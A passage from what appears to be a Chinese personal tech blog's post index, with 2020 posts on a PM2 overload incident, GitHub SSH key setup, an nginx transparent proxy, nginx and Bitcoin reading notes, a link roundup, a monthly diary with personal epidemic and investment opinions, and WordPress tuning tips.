规范化变更过程，保证现网变更有以下几个节点 计划、通告、灰度、观察、全量、观察、确认结束，回滚方案\nPM2（服务进程管理工具）监控缺失 PM 主进程过载，导致无法进行流量分发，因为没有进行分发所以各个模块的实际调用上报数据正常。但是多数请求在 PM2已被拒绝 监控缺失，需要对 pm2 的主进程的状态进行监控补充 PM2 进程监控缺失 对于中台模块，目前已有的业务监控只有在monitor平台的数据和接入层Nginx的日志。遗漏了 主机PM2（服务管理） 进程的上报，模块上报数据与接入层数据不对等，增加故障定位难度\n返回码以及重试逻辑 中台与终端未对齐，如 503 不应该进行重试，中台需要与终端同步状态码以及含义，避免非200就进行重试 日志量突增导致的日志延迟 流量突增导致es集群的日志实时性大幅下降，导致无法通过日志及时定位问题。考虑在日志的输入端来对流量进行控制，比如动态随机丢弃，使日志不会突破系统最大容量，保持日志的实时性 缺少现网紧急预案 紧急情况预案不足，在排查问题的同时应该有临时的通用方法来保证服务可用 应及时了解故障模块的现网功能以及重要程度（是否用户可感知，是否影响核心功能） 可否采用柔性服务，比如直接在nginx返回200或者其他假数据缓解真实业务模块压力\n","date":"2020-06-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/06/2020-06-28-%E9%87%8D%E8%AF%95%E9%A3%8E%E6%9A%B4%E5%AF%BC%E8%87%B4-pm2%E4%B8%BB%E8%BF%9B%E7%A8%8B%E8%BF%87%E8%BD%BD%E4%BA%8B%E4%BB%B6/","tags":null,"title":"重试风暴导致 PM2主进程过载事件"},{"categories":["dev"],"contents":"Q：为什么需要使用证书来进行认证呢？ A：自己的电脑上有登录其他的GIT的账号，来回切换太麻烦\n配置 创建得 puk 和 一个key文件在 ~/.ssh/ 下面，上传 公钥到 github 上来进行保存\n# 生成RSA密钥对 ssh-keygen -t rsa -b 4096 -C \u0026#34;your_email@example.com\u0026#34; # 自定义命名 # \u0026gt; Enter a file in which to save the key (/Users/you/.ssh/id_rsa): [Press enter] # 这里直接回车，或者创建自己名字的证书，不建议覆盖 配置 ssh 的策略文件，在请求到 github 域的时候使用这个公钥来进行通信。\nHost github.com AddKeysToAgent yes UseKeychain yes IdentityFile ~/.ssh/github_rsa Host *.github.com AddKeysToAgent yes UseKeychain yes IdentityFile ~/.ssh/github_rsa 添加到 ssh 的agent 中\nssh-add -K ~/.ssh/id_rsa 到这里，证书的添加应该就是 OK的了，进行认证测试\nssh -T git@github.com 使用 这时候，应该就可以直接通过 ssh 来对代码进行 clone 和 push了，但是在之前，有一个细节需要注意，因为这里是多账号环境，如果不在目标目录来设置一下当前的username 等信息，就会以默认的 globle 的git 配置的账号来进行操作。\ngit config user.name quartz010 git config user.email quartz010@outlook.com ","date":"2020-06-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/06/2020-06-05-git-%E9%85%8D%E7%BD%AE-ssh-%E8%AF%81%E4%B9%A6%E8%AE%BF%E9%97%AE/","tags":["git"],"title":"Github 配置 SSH 证书访问"},{"categories":["op之路"],"contents":"使用透明代理来解决，存在的某些站点的不可达。这里直接贴出来 ng的配置\n对于 80 端口这里使用 直接 proxypass的方式\nserver { resolver 114.114.114.114; listen 80; location / { proxy_pass http://$http_host$request_uri; proxy_set_header HOST $http_host; proxy_buffers 256 4k; proxy_max_temp_file_size 0k; proxy_connect_timeout 30; proxy_send_timeout 60; proxy_read_timeout 60; proxy_next_upstream error timeout invalid_header http_502; } } 对于 443 端口，不能使用 http 的形式，因为是涉及到了包的内容，使用4层转发来解决\nstream { resolver 114.114.114.114; server { listen 443; ssl_preread on; proxy_connect_timeout 5s; proxy_pass $ssl_preread_server_name:$server_port; } } 使用时候，直接在 主机上配置 /etc/hosts里写上域名的host即可\n192.168.111.252 xxx.example.com ","date":"2020-06-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/06/2020-06-05-nginx-%E5%AE%9E%E7%8E%B0http-https%E7%9A%84%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86/","tags":null,"title":"Nginx 实现HTTP/HTTPS的透明代理"},{"categories":null,"contents":"nginx 在工作中作为接入层的使用是已经相当常见了，但是一直是停留在会初步使用的阶段。在挺久之前就看到来 标题中提到的这本书，很想读读去了解一下 nginx 的工作原理。总算是趁着假期，有整块的时间来 看完，读书的节奏一样是翻书，留存率 20%\n20% 都没到，只是看了楚天架构的部分，后面模块编写的部分超出来实际上的使用场景\n这本书是淘宝团队写的，下面给出这本书的链接:\nNginx开发从入门到精通 平台初探 这一章节里面讲了基本架构，数据结构基本配置，以及模块化体系的请求流程。\n数据结构的部分，看了下但是不是重点，因为没有对应的开发需求。\n为什么使用 nginx 换 apache 看完初章，可以有这几个答案：\napach 使用的是多线程的模型，每一个请求会产生一个线程，在并发上千的时候，就已经有上千和线程来十分的消耗资源。 线程的运行，存在频繁的上下文切换，导致资源消耗量很大。 nginx 实际上处理任务的就只有 几个 worker 进程，所有的请求使用 异步非阻塞的形式来进行监听。使用 epoll 来对建立的套接字文件来进行监听如果有变化，就进行处理。没有频繁的上下文切换。 nginx 使用的是进程一主多从异步非阻塞模型\nConnection Nginx 的主进程来创建监听相应端口的Socketfb，之后fork出子进程来竞争 accept 建立的新的连接，建连成功之后建立 自有的结构体 ngx_connection_t 来保存连接。\n这里nignx的最大连接数是需要主注意的不是 ulimit -n 因为这个是系统limit里面的单个进程最大的文件fb数，但由于 nginx 的多进程 的模型，实际上的最大连接数是 进程数 × fb_max\n另外，由于是多个进程的竞争连接，为了实现多个进程之间的连接句柄平衡。在 竞争逻辑里面有这样的逻辑，计算当前进程的建连数和总连接数的比较。如该其值超过，会置位一个 ngx_accept_disabled 的值来避免该进程进行建立新连接。\nrequest Connect 是在4层的逻辑，这里的request 到了7曾，在request 里面，http 请求传输之后开始进行行解析。\n按行来处理，先对请求头来进行解析。之后使用 map 的结果来存储解析结果，以便与配置中的规则匹配来进行特殊处理。\n请求内容北存放在缓冲区中，在行读取到两个连续的回车之后，意味着请求头的结束。之后会使用请求处理的函数来进行处理，会区分是读操作还是写操作，使用不同的handle 函数来进行处理。\nworker 进程 worker进程中，ngx_worker_process_cycle()函数就是这个无限循环的处理函数。在这个函数中，一个请求的简单处理流程如下：\n操作系统提供的机制（例如epoll, kqueue等）产生相关的事件。 接收和处理这些事件，如是接受到数据，则产生更高层的request对象。 处理request的header和body。 产生响应，并发送回客户端。 完成request的处理。 重新初始化定时器及其他事件。 请求处理流程 Link 一个 http 请求到nginx 的服务器之后，有一下几个阶段。\n初始化http request 建立对象 处理请求头 （解析） 处理请求体 调用和请求(url/location)关联的handler 依次调用各个phase handler 来处理 重点就是在这里的phase handler，如该访问一个静态的文件，在磁盘上读取文件一样是phase handler 的作用。\n","date":"2020-05-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/05/2020-05-05-1637/","tags":null,"title":"读了前言《Nginx开发从入门到精通》"},{"categories":null,"contents":"Tab-Closing 好久没写点东西了，自己再不写点什么，感觉整个人都会昏过去。 这一篇就作为一个收集文章，把各种的之前的标签页关掉。\n这一篇堆了好久了，可能有快一个月了，惨\n非技术 一文看懂《乌合之众》：键盘侠为什么能改变世界？\n勒庞所说的群体只在某一时间段内或事件发生的过程中，忠于某一领袖或信号源。当促使他们聚集成群的刺激物消失时，他们也就不再听从这个领袖和信号源。也就是说，心理诉求消失，群体即消失。\n领袖要想操纵一个群体其实很简单，只要做出一些断言，然后不断地重复，那么你的观点就会随着这些断言不断被重复宣告而得到传播，像病菌一样传染给更多人。\n透明创业板实验\n对“中国政治坐标系测试”进行数据分析\n好站点： 智库101\n一些常见问题的知识库没事可以看看\nversus\n专门做对比的网站\nfreechat\n对公众号的不能不明白，一个微信上被删除的文章的镜像站点\n品葱\n就是一个好论坛值得你一看\n不能不明白工具箱\n不能不明白系列\n想学学粤语了\n开源文档中文镜像站\n好文： Faas/Serverless 架构 —— 阿里云无服务器计算/函数式计算\n服务器架构是基于互联网的系统，其中应用开发不使用常规的服务进程。相反，它们仅依赖于第三方服务（例如AWS Lambda服务），客户端逻辑和服务托管远程过程调用的组合。\n谷歌趋势 Google Trends 的7个使用方法，很多人都不知道\n大数据时代，数据的价值是无法估量的。\n如何抓住有效信息并创造财富已成为外贸企业新的增长点。\n说起数据分析，很多人都会觉得遥不可及，其实有那么一块黄金宝地，非常值得各位去研究。\n用 PhantomJS 让邮件报表图文并茂\n使用 PhantomJS 来实现自动把页面作为邮件发送，但是不适用于复杂页面。\n如何编写最佳的Dockerfile\n这个是在写newpaper的一个全文提取的项目遇到的，准备来自己打一个镜像\nDocker教程\u0026ndash;易百教程\n含有各种语言的使用实例\nraft动画\n使用动画理解raft一致性算法\n好书 the-little-bitcoin-book\n一本主要在经济学的层面来讲BTC的文章，八个人四天的时间来完成的书，看看也蛮有意思。\n比特币：一种点对点电子货币系统\n第N次读白皮书，\n激励会有助于鼓励节点保持诚实。如果一个贪心的攻击者有能力聚集比所有诚实节点 更多的 CPU 算力，他将面临是以骗回已付款的方式欺诈别人还是使用这些算力生成新货 币的抉择。他将发现遵守规则比破坏系统和他自己财产的有效性更有利，因为这些规则准 许他获得比所有其他人都多的新货币。\nThe Linux kernel user’s and administrator’s guide\nDocker —— 从入门到实践\nDocker 是个伟大的项目，它彻底释放了虚拟化的威力，极大降低了云计算资源供应的成本，同时让应用的分发、测试、部署和分发都变得前所未有的高效和轻松！\n","date":"2020-03-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/03/2020-03-07-tab-closing/","tags":["docker","git","k8s","linux","创业"],"title":"Tab-Closing"},{"categories":["读本好书"],"contents":"2020年自一月起Bitcoi迎来了一轮又一轮的上涨，从6000到现在的10000$，自己锁了一点少量的投资到现在却有了5倍多点的收益，还是很不错的。\n之前一直是从技术的角度去了解以及学习 bitcoin 的相关知识，偶然遇到了一本书，是从经济学角度出发的，是以问答的形式来深入浅出的介绍，对与没有经济学基础的读者也可以很好的理解其中的部分金融学的原理。看着内容慢慢的来了兴趣，所以想着把这本书给看完。\n书的前言很有意思，这本书不是一个人写的，是一个八个人小小的团队，有来自各个层面 的不同的想法。\n我们是社会活动家、教育家、创业者、企业高管、投资者和研究者。我们来自非洲、亚洲、欧洲、北美和南美。我们在许多方面有所不同，但都痴迷于比特币的一切. 我们相信它将对我们的世界和我们的生活产生至关重要的影响。\n这一篇一样的是读书笔记，来记读的过程中遇到的各种的点。\n为什么比特币对你的自由、财务和未来至关重要\n本书地址：https://xiongxiaoer.gitbook.io/the-little-bitcoin-book/\n今天货币的问题 一个好的货币 书的这一章，列举了世界上货币出现问题的几个例子，小型国家未来锚定汇率，未来大搞生产，来疯狂的印钞票，导致本国货币产生了恶性的通货膨胀。比如委内瑞拉在2018 年产生了 400000% 的恶性通货膨胀。\n通货膨胀是货币的敌人，2000年来所有的通货对美元的汇率都有了巨大的损失，货币的购买力被稀释。 20亿人无法获得银行账户，或者缺少开户的身份证明 监控资本主义（surveillance capitalism）使得隐私的价格越来越高 货币是一种社会协议，货币是交易的润滑剂，其价值是使用者的信任产生的。\n货币要求人们相信他们钱包里的账单，他们银行账户里的数字以及他们礼品卡里的余额都可以在未来兑换成他们想要或需要的东西. 卖方需要同意买方的钱是有价值的。\n货币有非常多种，带式最健全的货币往往是最好的必然 美元以及欧元，他后面的金融体系是十分的完整健壮。\n政府对货币有控制的能力，但是一旦出现货币滥用，对货币体系是致命的打击，比如对财政利好的失控的通膨，任意财产没收，以及腐败。\n然而，对货币的控制可能是一种会被滥用的诱人之物。官员经常操纵这种权力来满足他们的利益。只有保护个人权利、权力分立和法治的最民主的政府，才能有效防范货币滥用，如失控的通胀、任意没收以及腐败。\n你被通货膨胀了 政府可以以极低的成本来创造更多的法定货币，美联储前主席艾伦·格林斯潘（Alan Greenspan）曾说，美国可以“偿还任何债务，因为我们总是可以通过印钞来实现这一目标“，做法是合理的但是结果必然会失去货币本身的稳定性。所以低而稳定的通货膨胀是现代央行的目标。\n对与生活在专制政权的人来说，政府官员是未经选举产生，所以大多数人们无法选择自己的利益方向（选择执政者的利益主张），他们的储蓄价值会不断减少的。只有精英阶层才能的到美元，黄金或者房产这种硬通货来实现财富的保值。与此同时，在富裕民主的国家人民可以轻松的获得稳定的货币，来投资理财产品，来抵消或者超过通货膨胀。\n对与新印的钱，精英们不成比例的受益，被称为 坎蒂隆效应，因为精英阶层都有用硬通货财富来实现资产的保值，但是都已普通民众大多数的资产是以储蓄形式出现，所以大规模的通货膨胀，是一种不公平的财富分配，民众手上的钱急剧贬值且没有硬通货来进行资产保值。所以普通民众是通货膨胀中的必然牺牲品\n在战争阶段，使用不断的印钱来提供战时所需资金，在一战之后之后俄国和德国均停止了金本位，而且暂停了货币兑换，开始进行无黄金支撑印钞。\n战败后，回来支付巨额赔款，德国只能去印更多的钱，导致马克贬值到了其战前价值的万亿分之一。\n法定货币体系也是现代长期战争的推动者。政府可以为战争印更多的钱，通过通胀把成本分摊在后代身上。\n货币其他的问题 现在的货币问题还有，各个国家之间的资金转移极其困难，中国，俄罗斯，阿根廷，印度尼西亚等政府都积极的限制公民的外币兑换 。在金融危机之后避免银行破产，公民被限制每天的取款额度，国际汇款的大额的手续费用以及关税。450/7000\n全球的单点故障 现在世界经济使用的是美元本位的体系，书中写道这个是即使是 布雷顿森林协定 确定的，所以现在的国际贸易最终使用美元来进行结算。\n随着第二次世界大战即将结束，全球大国在布雷顿森林举办了一场聚会来建立统一的货币秩序。在三周的时间里，来自44个国家的700多名代表就未来金融体系的结构进行了辩论和谈判。一些代表建议建立一种名为班科（bancor）的新国际储备货币。最后，代表们同意他们的货币将与美元挂钩。因此，今天的国际贸易主要以美元结算，每个国家都试图维持他们的美元储备。\n所以虽然美元经济体看似稳定，但是如果其运行出现问题，少数银行倒闭，就有可能出现全球性的经济灾难。\n总结 目前的货币体系存在问题，通膨导致的不对称财富分配以及货币体系消亡，货币自由受制于政府，目前是美国为主的全球单点体系，越来越多的数字支付系统可能会导致个人隐私的消亡。\n四种全球现象——个人财富的贬值、价值转移的限制、金融中心化和隐私的丧失——代表了个人在 21 世纪货币体系中的主要风险。随着各国努力维持现状，世界各地的人们都感受到了压力\n所以需要一个新的货币体系，政府没有能力牺牲公民财富了随意的贬值货币，交易不在受制于任何体系或人，货币可以被世界上任何地方使用和访问。于是就有了 标题中的 bitcoin。\n为什么比特币 雷曼事件，著名投资银行，雷曼兄弟由于投资失败申请了美国历史上最大的破产案。其提供借贷，但风险远远的大于其抵押的担保证券的总价值，当有贷款违约之后，公司就无法偿还其用于借贷的债务导致破产。所以导致了信贷的信用灾难，银行不敢再将钱贷给各大公司，而公司又没有钱来继续经营，引起了金融系统的恶性循环。\n所以美国财政部以及美联储，立马拨钱给银行来维持银行可贷款出去的量来避免经融危机，这次的行为花费了数千亿的美元来支撑。\n比特币的出现 比特币伴随着这样一条新闻出现的：\nThe Times 03/Jan/2009 Chancellor on brink of second bailout for banks\n（泰晤士报 2009年1月3日 总理即将面临银行第二轮救助计划）\n这一条新闻被永远的写在了bitcoin的创世区块里面，\n中本聪向全世界传达的信息是，以牺牲人民为代价救助银行的现有体系破产了。比特币的去中心化金融技术是一条出路。\n稀缺性 一个东西如果有价值，那么它必须有稀缺性，空气虽然人们必须，但是普天皆是，所以没有什么价值。\n稀缺性有两种形式，人造稀缺性，限量版汽车；以及自然稀缺性，珍珠。\n使用盐，黄金等去中心化且稀缺的商品作为货币并不是巧合，没有个人以及团体控制商品是公平的，其次自然生成难以伪造。稀缺性保证价值，携带适量来进行交易。\n两种不同形式的稀缺性的区别在于能否被控制，有中心化稀缺以及去中心化稀缺\n在黄金的情况下，其积累在历史上不需要矿主之外的任何人的许可。换句话说，没有一个中心是所有黄金都诞生于此，也没有全球权威有权限制挖矿或增加供应。\n每个中心化商品都面临同样的激励问题。中央权威可以创造更多的这种商品，稀释所有其他所有者的价值。印出更多货币的央行通常会为这种行为制定积极有益的社会目标，如建设社会基础设施，支持社会福利计划或稳定经济危机。但是，回想一下第1章的坎蒂隆效应：即使合理使用这种权力，也会牺牲穷人和无权者，为富人和当权者带来好处。印钱的能力造成了一种道德风险。\n黄金的分布式稀缺性造就了其现在优秀稳定的价值，但是其缺点在于，物理性，以及质量，其存储安全以及转移，都面临着极大的挑战。\n所以btc在可以实现黄金的分布式稀缺性的基础上，由于其是数字化的也解决了运输和安全存储的问题。\n比特币的稀缺性 货币的数字化来消除物理专一的需要，这是现代电子业务的必要创新。\n中本聪在2008年10月31日发布了一项突破，提出了比特币这种新的数字货币，其稀缺性源于数字领域中存在稀缺物品的事实：稀有数字。\n比如素数就是数学中的稀缺资源。在比特币前的资产，要不就完全中心化（游戏币），实物的（黄金），无限丰富（图片/mp3）。\n比特币之前根本不存在去中心化的、数字的和稀缺的资产。\n比特币通过挖矿来寻找稀有数字，来保证了稀缺性，寻找这个数字需要花费大佬的工作。它是去中心的稀缺的，每个人都可以来挖掘它，\n比特币交易运作 btc使用的是UTXO的模型，结合 RSA技术 来实现加密以及签名，内容就不讲了。\n比特币货币政策 btc的货币政策是代码写好的的，产量每四年减半，到2020年的话每个区块奖励 6.25 btc。\n有效区块被加入链中，无效的区块广播被reject掉，浪费了造假的成本。\n说说区块链 BTC 的出现带来了区块链技术，\n不幸的是，到目前为止，大多数这些尝试都相当于开叉车去杂货店购物。该车辆在其原始环境中完美运行（存储去中心化数字货币的账本），但对于其现代应用来说似乎太慢且有不必要地浪费，（譬如区块链上的医疗保健记录、在区块链上追踪农产品来源、把天气数据放上区块链等）。\n比特币四个重要的组成部分，\n比特币是稀缺的， 比特币网络是去中心的点对点网络 工作量证明机制，保证稀缺性 完全公开审查 对与比特币这种有稀缺性的资产，使用区块链作为公共记录是有用的。但是用来记载其他信息，发票等等，其处于疏忽输入错误，或者是彻头彻尾错误，使用区块链就没有什么作用了，因为还是需要一个中央权威来保证所有的信息可靠，这样就失去了区块链的需求。\n其他的币种 这一部分比较有意思\nBitconnect（缩写：BCC）被认为是加密货币界中最著名的高收益投资庞氏骗局之一，宣称每日可得到1%的报酬率[a][2]。2018年1月16日，Bitconnect平台关闭，其货币价值暴跌，并于2018年8月10日后，终止任何交易。\n关于其他的币种，自称是BTC的分支链或者解决了btc遇到的某一点问题的币，作者的态度是这样的，厚颜无耻的方式\n有几个团体试图以特别厚颜无耻的方式复制中本聪的成功，并创造出了几种名称中包含比特币一词的加密货币。因此，对于哪种加密货币是真正的比特币，人们经常搞混。要区分它们，请在交易所和钱包里查找代码BTC。比特币的变种就像是愚人金；它们可能看起来相似，但更中心化，价格更低。这些包括比特币现金（Bitcoin Cash，BCH），比特币黄金（Bitcoin Gold，BTG）和比特币中本聪愿景（Bitcoin Satoshi’s Vision，BSV）。\n比特币的价格和波动性 这一节有意思，来钱的要好好看看。\n在长线来看，比特币和黄金比较，其市值占比只有黄金的 2%。\n随着比特币接受度的增加以及比特币作为全球资产类别的增长，其波动性将会下降。这可能需要几十年的时间。\n中期层面上，影响比特币价格的因素是减半（halving），减半导致波动性剧增的供应断崖。\n不断上涨的比特币价格往往吸引更多的投机者，从寻求购买价值100美元价值比特币的零售投资者，到购买价值数百万美元的机构投资者。反过来，这会推高比特币的价格，因为媒体的关注以及对错过机会的的恐惧会加剧这种心态。这种动态创造出大量的价格泡沫，最终价格可能崩溃80％或更多。这些价格周期很有可能在未来减半的前后继续下去。\n比特币关于人权 在人权方面，书中主要提到的有，躲避通膨，每个人都可以有，方便转账到世界的任意角落，防止由经第三方导致转账流程过度复杂。\n无现金社会是以后的趋势，但是为了避免金融行为被追踪，btc是一个可靠的避免监控操作的方案，个人在付款时不需要透露他们的身份。\n闪电网络通过记录部分的交易数据来实现区块容量固定的情况下来实现tps的提升。\n比特币的未来畅想 无边界经济兴趣，现在国家掌握了掌控了经济以及贸易。btc会代替法币作为一个统一快速的结算方案来代替法币。\n国际通过增发货币来资助战争的能力会被收到限制，战争的发动将会变得更加困难。\n独裁政权不会悄然消失，但他们将被迫做出选择：面对大规模资本外逃, 还是允许更多的自由。感谢互联网，自由文学和电影作品现在可以出现在生活在厄立特里亚和朝鲜等最暴虐政权之下的家庭中。随着可以与信息一样通过互联网无缝安全传输的货币的出现, 这种现象将会被大大加速。\n大多数的精英将自己的财富存储在房产，股票，和贵金属中。在比特币的世界里，更少的人会在一个城市大量的购买住房而不居住。在国外购买稳定房产就不再有吸引力，房价不会飙升，人们在自己的城市买的起房子。\n金融行为的监控难度提升。\n自我主权的开始 这部分写了作者对于金融自主的畅想\n热河基础技术都遵守接受曲线(adoption curve)，一开始有很多怀疑论者，曲线上升呈现一个S形，到最后任何人任何地点都可以充分的餐椅包比特币里面来。\nFAQ 因此，比特币的任何变化都需要达成共识。从这个意义上讲，比特币治理模式类似于具有制衡机制的民主系统。矿工就像政府的行政部门，处理日常事务运营和执行规则；开发者就像立法部门，制定和通过新法律；（全节点客户端的）用户是司法部门，确保其他两个部门不做任何违宪的事情。\n这一部分列举了很多问题，基础问题，直接给链接了想看时候再去看看\n比特币问答\n自己的话 这本书很有意思是8个人在四天之内写出来的，从经济学的方面解释了比特币的优势以及进行未来展望，读完之后更加充满希望做长线。hhh\n","date":"2020-02-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/02/2020-02-08-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0the-little-bitcoin-book/","tags":["bitcoin","blockchain"],"title":"读书笔记《the-little-bitcoin-book》"},{"categories":["写点题外话"],"contents":"一直有想写点东西的冲动，本来每周都会有一篇分享？到底自己还是没有坚持下来 偷偷所以告诉自己尽早放弃也是一种优势，说明这种方式不适合自己？ 最后想想，还是写个月度的总结，一个月一篇，这个月不想写下个月补上。一个月十二篇帖子自己应该坚持的下来\n工作的事情 有个同事要在2月底就离开了，在走之前，约着我在公司周围的路上转了转。说了蛮多东西。让我对自己的处境有了了解，也印证了自己的心中的一些想法。\n先写写我心里想的东西，一个大公司给你带来什么？\n正如很多人讲的一样，大公司里的螺丝钉，因为体量太大了，很多时候发现很难找到自己的定位，就是可能做一些dirty job，不像做一些小项目，看见一个原型会很有成就感的样子。所以时不时的总会有一种需要去找自己的目标的感觉，做些事情也没有什么迎面而来的成就感。所以我就在想，我将会在一个体量巨大的公司内得到什么东西。我找到了下面的几个可能的答案：\n健全的行政体制 完备的知识库 数量多（且健全）共有基础组件 内部大牛的知识分享 这里引用一段知乎上看到的话，和和我心里想的差不多\n大公司的好处是平台优势, 只要用心总能学到很多成熟的体系比如项目管理、标准、方法论等等, 另外很多公司还提供内部换岗的机会, 帮助你成长；缺点也很明显, 待久了容易有温水煮青蛙的感觉, 另外提升机会总是有限的。\n所以，在工资的阶段，需要去重点的挖掘这几个层面上知识和内容，这些东西尽可能多的转化为自己的。从而把这段经历作为对自己的投资，选择比努力更重要，选择一份工作的话，最好给你一个专注的领域来锻炼自己的核心的竞争力。这样才能立于不败之地\n下面这段是同事在路上说的话，回去想了想，做了些总结。\n在工作的选择的时候，要选择有希望有生命力的产品以及团队。\n要走的话，也最好带够一年半在想着去换一个其他的地方，给自己的履历里面添上美丽的一笔。\n工作了圈子很重要，你的下一份工作很有可能是你的上一位同事提供给你的。\n过年什么感觉 在今年的过年期间，疫情还没有到现在这种令人恐惧的样子吧。自己在外工作了一年，回到家，亲戚之间发现虽然是熟悉的面庞，但是明显感觉到，心有些远了，想说什么，又说不出什么东西，每当亲戚问起来，从事什么工作之后，答曰IT，之后就不怎么呢问下去了。所以有时候想到其实不是自己的心远了，可能是环境远了？\n现在每年感觉年味越来越淡了，我觉得？在几年或者十年之后吧，会出现朋友比亲戚关系更加紧密的现状？在过年的时候，可能更加希望和朋友之间来聚一聚？我不知道。\n又遇到了大事件 我想着写了个比较有意思的东西，这件如果再发生了你该做些什么从而可以像个聪明人\n如果你听到\u2029突然想写一个很有意思的内容，如果你听到有某种不明原因爆发，既然它能爆发，就已经超过我们能控制的范围了\u2029技术范围，舆论范围\u2029这时候去买：\u2029口罩 大量，可卖\u2029基础药品 奥司他韦/免疫球蛋白类似\u2029酒精喷壶 75 酒精\u2029医疗主题 股票\u2029过氧乙酸 范围杀毒\u2029泡面\u2029瓶装水\u2029卖：\u2029展览主题 股票\u2029旅游主题 股票\u2029航空主题\u2029高铁主题\u2029当疫情展开之后：\u2029买美元，期间人民币的汇率会大幅度的下跌\u2029关注黄金和比特币，由于恐慌趋势会有大幅度上涨\u2029A股会有断崖式的下跌，开盘当天，抄底上车。大约在第三天，个股开始下跌之时，卖掉小盘股，买入体量大的银行以及券商。 搞不好病毒也是他们放的 下面这段话，是我回复一个说：”美国怎么怎么样对我们，搞不好病毒也是他们放的“ 的观点的一段话\n何必这样呛我呢？美国是自由媒体，怎能写报告人们看得多他就怎么写，甚至公然抨击总统都无所谓，言论自由是受到保护的，看开些吧。在不知道这个前提下，一个媒体就能代表美国，这点事我们断章取义了，没办法。在港台地区，最多的节目就是政论节目，把各种事件拉出来，评价这个评价这个，人们都知道自己是看个热闹。清醒些吧，不要这么敏感，心中有了世界的概念，才能客观的看待任何东西。\n你看，文章圈起来对日本的态度，你在看看现在对美国的态度，不要忘了，我们曾经是怎么同仇敌忾去反对日货，砸日本车。不要轻易地被媒体煽动了，这种煽动太容易了，日本送来口罩，日本好。美国带来特效药，美国不好吗？ 你们的态度只是媒体让你们展现的态度罢了。我们的互联网属于极度的信息不对称的情况，我们只能看到他们想让我们看到的东西，知道这点就好了，不要被一个个冲击眼球的大字报带着着方向。\n引用《乌合之众》：\n群体只会干两种事——锦上添花或落井下石\n快去买双黄连 可能在2月3号吧，记不清具体的时间了，在人民日报的官方发了一篇文章，标题 《上海药物所、武汉病毒所联合发现中成药双黄连口服液可抑制新型冠状肺炎病毒》 ，文章刚刚出来，在各大媒体上相继曝光。特别的中年人群的朋友圈内广为流传。具体的事件就不详细说了，最后面有有标题**《理性购买，预防不是治疗》**来把抢购之风压下去。\n这里的话，不谈论中医究竟是有效无效，是不是有意无意的骗子。单单从这次科研报告来讲，体外测试，有一定效果，这些不严谨的词汇被抱在冲击力强大的标题扑面而来。\n在电影《流感》里，就有这样的一幕，人本来没有病，谎称自己吃了某种药治好了自己，从而这种药得到热卖。人性导致的结果，每个人都渴望存在这种药。\n双黄连治病毒，和碘盐抗感冒一样，都是空穴来风，说简单是被盲目带着走，说复杂是丢掉了人类的智慧。如果碘盐真的抗辐射，这种方法早已经被事件各地普及，因为历史上早已经被无数次的检测有效，何必每次总会向重大发现一样出现呢？所以总结来说：体制未变，民智不涨 ，这样的局在后面会继续下去。\n另外，站在信息的发布者来想，我觉得他应该是聪明人，聪明人做的事情，我觉得肯定是有意为之。展望整个疫情的现况：医疗机构长时间的拿不出有用的医疗成果，你给民众去讲，这个是新病毒，RNA病毒，搞出疫苗来没那么快，反而会被各种怀疑：平时干什么去了？所以，长时间的不给出结果，反而对疫区的百姓来说是致命的结果，导致了越来越多的恐慌。所以，医疗机构才会使用这种渐进的方式对外宣部药物利好消息缓解疫区的舆论压力，稳定民情，实际上拖延时间，缓解人们对医疗机构的压力 （愚蠢之药医愚蠢之人）\n在最后引用《乌合之众》里的一句话：\n群众没有真正渴求过真理，面对那些不合口味的证据，他们会充耳不闻…凡是能向他们提供幻觉的，都可以很容易地成为他们的主人；凡是让他们幻灭的，都会成为他们的牺牲品。\n炒币赚了点钱 一月初金融方向不稳定，大选，弹劾，脱欧，各种事情。恐慌指数陡增，黄金走高。btc在支撑位待了太久，看涨。所以小玩一把 1K 开多，现在也已经有6K了，比较开心\n写给一月的话 这一个月是 2020的开端，理应安静祥和，但是充满着各种不和平的东西。特别是这次的nCov的传播，让这一年从一开始就被载入了史册。这个月，也临近着放春节假，整个人是比较飘飘的，期待着假期的到来。\n","date":"2020-02-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/02/2020-02-07-202001-%E6%9C%88%E5%BA%A6%E6%80%BB%E7%BB%93/","tags":null,"title":"202001 月度总结"},{"categories":["读本好书"],"contents":"好久没有好好的看一本书了，说明这段日子过的太浮躁。 现在是2020年初，特殊时期，导致了足不出户的现状，人呐闲久了总会想找点事情做。 这片博文算是一篇读书笔记，写的是自己在看 《 人人都能学会的 WordPress 实战课》这本书的过程的一些笔记。东西写的不是十分的高阶，所以就尽快读完写完了。\n文档地址：https://www.easywpbook.com/ 提问的智慧 X-Y Problem WP基本使用技巧 站点优化 动静分离，静态文件与冬天文件进行分离，比如静态文件放在 COS 上进行托管\n图片压缩来进行加载提速Compress JPEG \u0026amp;PNG image作为一个图片统一压缩的插件\n启用站点预加载功能来实现，用户点击的预加载WordPress Instant Articles\n使用 nginx 代替 apache 来作为 webserver PHP 开启OPCache，使用操作码缓存提升运行速度 mysql 打开Query Cache，Mysql 查询缓存来提高速度 对象缓存 使用 Memcached 和 Batcache 进行缓存 WP Super Cache，html页面缓存 Super Static Cache 插件来实现页面静态化 关闭谷歌字体，来提升页面加载速度 Gravatar头像使用国内cdn 代替 图片使用LazyLoad Smart WordPress 插件来开启 ETag 安全加固 一个系统的安全与否与它本身的价值相关\n使⽤邮箱登陆， Email Login 关闭 XML-RPC 关闭 JSON Rest API WP主题使用以及管理 快速说明 前面主题安装使用的部分就直接跳过了。\n主题分为 header/footer/siderbar/single 这三大部分\n在indexphp 的文件中分为 get_header/get_sidebar/get_footer 这三个函数来分辨渲染这三个部分。\nwp的文章主循环：\n\u0026lt;?php if ( have_posts() ) : ?\u0026gt; \u0026lt;?php while ( have_posts() ) : the_post(); ?\u0026gt; ... Display post content \u0026lt;?php endwhile; ?\u0026gt; \u0026lt;?php endif; ?\u0026gt; // 标题 替换为 \u0026lt;?php the_title();?\u0026gt;; // 摘要 替换为 \u0026lt;?php the_excerpt();?\u0026gt;; // 作者 替换为 \u0026lt;?php the_author();?\u0026gt;; // 作者标签的 href 